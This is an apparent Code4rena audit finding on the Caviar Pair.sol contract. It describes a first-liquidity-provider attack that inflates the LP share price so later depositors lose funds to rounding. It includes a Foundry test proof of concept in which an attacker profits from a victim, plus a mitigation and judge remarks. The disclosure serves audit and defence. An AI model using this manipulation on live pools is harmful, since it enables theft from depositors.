first liquidity provider can manipulate price of share and steal funds from future liquidity providers

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L99
https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L417-L428

Vulnerability details

Impact

The first liquidity provider can manipulate price of share by having 1 share only and sending in baseTokens and fractionalTokens to manipulate the price of the share. Future liquidity providers will then lose out on precision loss which will be gained by the first liquidity provider.

Proof of Concept

Place this in NftAdd.sol, babe that started out with 1e18 baseTokens is able to gain 2e17 baseTokens from victim after the attack.

    function testUserCanManipulatePrice() public {
        uint256[] memory _tokenIds = new uint[](1);
        console.log(lpToken.totalSupply()); // begin with 0 supply


        vm.startPrank(babe);
        bayc.setApprovalForAll(address(p), true);
        usd.approve(address(p), type(uint256).max);

            bayc.mint(babe, 5);

        _tokenIds[0] = 5;

        deal(address(usd), babe, 1e18, true);
        uint256 lpTokenAmount = p.nftAdd(1e18, _tokenIds, 1, proofs);

        console.log(lpToken.totalSupply()); // begin with 1e18 supply


        p.remove(1e18-1, 1e18-1, 1e18-1); // make lptoken to 1 share = 1 usd and 1 fractional token


        console.log(lpToken.totalSupply()); // left 1 share

        p.transfer(address(p), 1e18-1);

        usd.transfer(address(p), 6e17); // 1 share = 6e17 usdc and 1e18 fractional token



        vm.stopPrank();


        deal(address(usd), address(this), 1e18, true); // victim
        bayc.mint(address(this), 6);
        _tokenIds[0] = 6;
        lpTokenAmount = p.nftAdd(1e18, _tokenIds, 1, proofs);


        console.log(lpToken.totalSupply()); // total number of shares = 2

        vm.startPrank(babe);
        p.remove(1, 1, 1);
        console.log(usd.balanceOf(babe)); // babe now ends with more usdc than he has


    }

Tools Used

Foundry

Recommended Mitigation Steps

Set a minimum amount of share that must be left in the pool when withdrawing and also burn away some shares from first liquidity provider to ensure that the price is more robust against such attacks.

[c4-judge]

berndartmueller marked the issue as duplicate of #442

[c4-judge]

berndartmueller marked the issue as satisfactory